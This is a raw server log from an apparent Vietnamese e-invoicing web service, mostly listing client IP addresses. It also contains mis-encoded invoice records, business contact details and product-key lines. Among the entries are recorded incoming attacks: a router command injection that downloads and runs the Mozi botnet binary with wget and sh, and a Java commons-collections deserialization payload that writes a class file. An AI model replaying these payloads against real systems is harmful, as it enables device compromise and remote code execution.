2020-10-01 00:45:53.8357|INFO|EINVOICENET.WebService.ClsLog|start
2020-10-01 00:45:53.8377|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-10-01 00:45:53.8487|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-10-01 00:45:53.8607|INFO|EINVOICENET.WebService.ClsLog|10.179.4.14
2020-10-01 00:58:51.6974|INFO|EINVOICENET.WebService.ClsLog|10.179.80.207
2020-10-01 01:04:45.1998|INFO|EINVOICENET.WebService.ClsLog|66.249.79.124
2020-10-01 01:05:21.3402|INFO|EINVOICENET.WebService.ClsLog|10.179.4.144
2020-10-01 01:11:46.3526|INFO|EINVOICENET.WebService.ClsLog|10.179.80.32
2020-10-01 01:18:18.5702|INFO|EINVOICENET.WebService.ClsLog|10.179.4.156
2020-10-01 01:20:55.8465|INFO|EINVOICENET.WebService.ClsLog|85.204.223.95
2020-10-01 01:25:00.2300|INFO|EINVOICENET.WebService.ClsLog|10.179.80.234
2020-10-01 01:38:05.5656|INFO|EINVOICENET.WebService.ClsLog|10.179.80.66
2020-10-01 01:45:27.4988|INFO|EINVOICENET.WebService.ClsLog|66.249.71.159
2020-10-01 01:53:22.8751|INFO|EINVOICENET.WebService.ClsLog|193.32.126.233
2020-10-01 01:57:23.0474|INFO|EINVOICENET.WebService.ClsLog|10.179.80.77
2020-10-01 02:05:28.3522|INFO|EINVOICENET.WebService.ClsLog|66.249.71.158
2020-10-01 02:18:06.5084|INFO|EINVOICENET.WebService.ClsLog|185.191.171.34
2020-10-01 02:18:32.2480|INFO|EINVOICENET.WebService.ClsLog|95.132.14.179
2020-10-01 02:25:45.4479|INFO|EINVOICENET.WebService.ClsLog|66.249.68.52
2020-10-01 02:40:47.8887|INFO|EINVOICENET.WebService.ClsLog|128.14.209.226
2020-10-01 02:45:57.6967|INFO|EINVOICENET.WebService.ClsLog|77.53.132.122
2020-10-01 03:01:00.2544|INFO|EINVOICENET.WebService.ClsLog|10.179.80.157
2020-10-01 03:07:20.6654|INFO|EINVOICENET.WebService.ClsLog|10.179.80.157
2020-10-01 03:32:11.2621|INFO|EINVOICENET.WebService.ClsLog|10.179.80.166
2020-10-01 03:38:41.2106|INFO|EINVOICENET.WebService.ClsLog|10.179.80.32
2020-10-01 03:42:48.0707|INFO|EINVOICENET.WebService.ClsLog|66.249.79.158
2020-10-01 03:45:01.6138|INFO|EINVOICENET.WebService.ClsLog|10.179.4.18
2020-10-01 03:45:01.6920|INFO|EINVOICENET.WebService.ClsLog|10.179.4.18
2020-10-01 03:50:46.9434|INFO|EINVOICENET.WebService.ClsLog|36.81.196.223
2020-10-01 03:52:15.0222|INFO|EINVOICENET.WebService.ClsLog|172.104.108.109
2020-10-01 03:57:58.6473|INFO|EINVOICENET.WebService.ClsLog|10.179.4.148
2020-10-01 04:04:20.0551|INFO|EINVOICENET.WebService.ClsLog|10.179.4.42
2020-10-01 04:16:39.2046|INFO|EINVOICENET.WebService.ClsLog|179.98.81.182
2020-10-01 04:17:52.6945|INFO|EINVOICENET.WebService.ClsLog|10.179.4.27
2020-10-01 04:36:24.4594|INFO|EINVOICENET.WebService.ClsLog|66.249.68.22
2020-10-01 04:39:23.6972|INFO|EINVOICENET.WebService.ClsLog|213.159.213.137
2020-10-01 04:58:25.5433|INFO|EINVOICENET.WebService.ClsLog|115.61.175.155 foobar192.168.0.100TCP12341234
2020-10-01 05:02:03.6829|INFO|EINVOICENET.WebService.ClsLog|10.179.80.153
2020-10-01 05:13:39.7906|INFO|EINVOICENET.WebService.ClsLog|10.179.80.169
2020-10-01 05:19:16.1253|INFO|EINVOICENET.WebService.ClsLog|92.118.161.37
2020-10-01 05:56:56.9966|INFO|EINVOICENET.WebService.ClsLog|66.249.79.156
2020-10-01 06:02:12.9670|INFO|EINVOICENET.WebService.ClsLog|10.179.4.108
2020-10-01 06:33:14.3322|INFO|EINVOICENET.WebService.ClsLog|10.179.80.251
2020-10-01 06:46:43.7671|INFO|EINVOICENET.WebService.ClsLog|207.99.15.82
2020-10-01 06:46:44.0659|INFO|EINVOICENET.WebService.ClsLog|66.249.79.156
2020-10-01 06:56:44.8787|INFO|EINVOICENET.WebService.ClsLog|66.249.71.128
2020-10-01 07:06:31.9277|INFO|EINVOICENET.WebService.ClsLog|66.249.68.22
2020-10-01 07:10:09.3724|INFO|EINVOICENET.WebService.ClsLog|10.179.4.228
2020-10-01 07:16:34.3647|INFO|EINVOICENET.WebService.ClsLog|66.249.79.157
2020-10-01 07:35:14.2463|INFO|EINVOICENET.WebService.ClsLog|10.179.80.203
2020-10-01 07:43:32.2218|INFO|EINVOICENET.WebService.ClsLog|200.50.106.182
2020-10-01 07:47:14.0342|INFO|EINVOICENET.WebService.ClsLog|66.249.68.30
2020-10-01 08:00:39.6880|INFO|EINVOICENET.WebService.ClsLog|185.213.154.234
2020-10-01 08:02:28.9924|INFO|EINVOICENET.WebService.ClsLog|10.179.4.59
2020-10-01 08:07:15.6155|INFO|EINVOICENET.WebService.ClsLog|192.35.168.218
2020-10-01 08:07:16.0587|INFO|EINVOICENET.WebService.ClsLog|192.35.168.218
2020-10-01 08:32:19.7765|INFO|EINVOICENET.WebService.ClsLog|10.179.80.105
2020-10-01 08:38:44.1552|INFO|EINVOICENET.WebService.ClsLog|10.179.4.125
2020-10-01 08:45:10.7208|INFO|EINVOICENET.WebService.ClsLog|10.179.80.244
2020-10-01 08:51:37.4177|INFO|EINVOICENET.WebService.ClsLog|10.179.4.117
2020-10-01 08:52:35.5497|INFO|EINVOICENET.WebService.ClsLog|176.113.115.214
2020-10-01 08:57:54.9853|INFO|EINVOICENET.WebService.ClsLog|10.179.80.185
2020-10-01 08:59:01.1085|INFO|EINVOICENET.WebService.ClsLog|176.113.115.214
2020-10-01 09:07:52.1472|INFO|EINVOICENET.WebService.ClsLog|176.113.115.214
2020-10-01 09:16:16.2191|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-10-01 09:16:17.7882|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
Hóa don giá tr? gia tang
01GTKT0/001
AA/20E
2020-09-30
2020-09-30
0310510427
CÔNG TY TNHH THUONG M?I ÐI?N SÀI GÒN
43 Ðu?ng Yersin, Phu?ng C?u Ông Lãnh, Qu?n 1, Tp. H? Chí Minh, Vi?t Nam
B1776
0315749554
Công Ty C? Ph?n Ð?u Tu Công Ngh? Sài Gòn STI
Phòng 1508, T?ng 15 Toà nhà Vincom Center, s? 72 Lê Thánh Tôn, Phu?ng B?n Nghé, Qu?n 1, TP. H? Chí Minh
sti.saigon@gmail.com,ketoan.saigonsti@gmail.com
113680
1136800
1250480
0
M?t tri?u, hai tram nam muoi nghìn, b?n tram tám muoi d?ng ch?n
VND
01
1
0
1
THANH
1
1
FHDA0014901
1
2
156800
313600
10
31360
2
1
137200
137200
10
13720
3
5
137200
686000
10
68600
2020-10-01 09:17:00.3216|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
2020-10-01 09:17:01.2892|INFO|EINVOICENET.WebService.ClsLog|192.168.136.91
13720
137200
150920
0
1
0
1
0
0
1
1
137200
137200
10
13720
2020-10-01 09:23:59.6776|INFO|EINVOICENET.WebService.ClsLog|10.179.80.41
2020-10-01 09:30:01.1302|INFO|EINVOICENET.WebService.ClsLog|83.97.20.29
2020-10-01 09:52:38.0386|INFO|EINVOICENET.WebService.ClsLog|109.94.120.201
2020-10-01 10:11:05.2384|INFO|EINVOICENET.WebService.ClsLog|211.21.102.249
2020-10-01 10:16:32.3284|INFO|EINVOICENET.WebService.ClsLog|40.77.167.100
2020-10-01 10:20:29.7844|INFO|EINVOICENET.WebService.ClsLog|40.77.167.130
2020-10-01 10:46:45.6836|INFO|EINVOICENET.WebService.ClsLog|176.113.115.214
2020-10-01 10:53:30.3324|INFO|EINVOICENET.WebService.ClsLog|185.191.171.4
2020-10-01 11:03:39.8784|INFO|EINVOICENET.WebService.ClsLog|10.179.80.157
2020-10-01 11:10:23.8133|INFO|EINVOICENET.WebService.ClsLog|10.179.80.234
2020-10-01 11:12:09.3426|INFO|EINVOICENET.WebService.ClsLog|178.128.96.183
2020-10-01 11:16:39.9510|INFO|EINVOICENET.WebService.ClsLog|10.179.80.38
2020-10-01 11:20:47.4338|INFO|EINVOICENET.WebService.ClsLog|193.118.53.202
2020-10-01 11:22:54.4223|INFO|EINVOICENET.WebService.ClsLog|10.179.80.202
2020-10-01 11:34:19.7474|INFO|EINVOICENET.WebService.ClsLog|10.179.4.156
2020-10-01 11:42:01.7180|INFO|EINVOICENET.WebService.ClsLog|10.179.4.42
2020-10-01 11:48:57.0151|INFO|EINVOICENET.WebService.ClsLog|177.95.44.177
2020-10-01 12:02:13.1907|INFO|EINVOICENET.WebService.ClsLog|10.179.80.30
2020-10-01 12:08:25.4180|INFO|EINVOICENET.WebService.ClsLog|10.179.4.117
2020-10-01 12:09:16.1549|INFO|EINVOICENET.WebService.ClsLog|66.249.71.110
2020-10-01 12:14:35.1512|INFO|EINVOICENET.WebService.ClsLog|10.179.80.143
2020-10-01 12:42:42.3023|INFO|EINVOICENET.WebService.ClsLog|start
2020-10-01 12:42:42.3053|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-10-01 12:42:42.3153|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2020-10-01 12:42:42.3273|INFO|EINVOICENET.WebService.ClsLog|10.179.4.42
2020-10-01 13:04:56.0179|INFO|EINVOICENET.WebService.ClsLog|118.249.57.165 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://192.168.1.1:8088/Mozi.m+-O+->/tmp/gpon80;sh+
2020-10-01 13:06:51.5639|INFO|EINVOICENET.WebService.ClsLog|103.90.205.65
2020-10-01 13:08:12.2891|INFO|EINVOICENET.WebService.ClsLog|10.179.4.41
2020-10-01 13:12:20.4407|INFO|EINVOICENET.WebService.ClsLog|185.128.41.50 ?? sr java.util.HashSet?D?????4 xpw ?@ sr 4org.apache.commons.collections.keyvalue.TiedMapEntry???9?? L keyt Ljava/lang/Object;L mapt Ljava/util/Map;xpt foosr *org.apache.commons.collections.map.LazyMapn??y? L factoryt ,Lorg/apache/commons/collections/Transformer;xpsr :org.apache.commons.collections.functors.ChainedTransformer0U?(z? [
iTransformerst -[Lorg/apache/commons/collections/Transformer;xpur -[Lorg.apache.commons.collections.Transformer;?V*??4? xp sr ;org.apache.commons.collections.functors.ConstantTransformerXv?A?? L iConstantq ~ xpvr java.io.FileOutputStream xpsr :org.apache.commons.collections.functors.InvokerTransformer???k{|?8 [ iArgst [Ljava/lang/Object;L iMethodNamet Ljava/lang/String;[ iParamTypest [Ljava/lang/Class;xpur [Ljava.lang.Object;??X?s)l xp ur [Ljava.lang.Class;????Z? xp vr java.lang.String??8z;?B xpt getConstructoruq ~ vq ~ xsq ~ uq ~ uq ~ t $c:/windows/temp/RunCheckConfig.classt newInstanceuq ~ vq ~ xsq ~ uq ~ ur [B???T? xp ???? 4 ^
+ ,
+ - .
/
0 1
2 3 4
5 6
7 8
7 9 : ;
<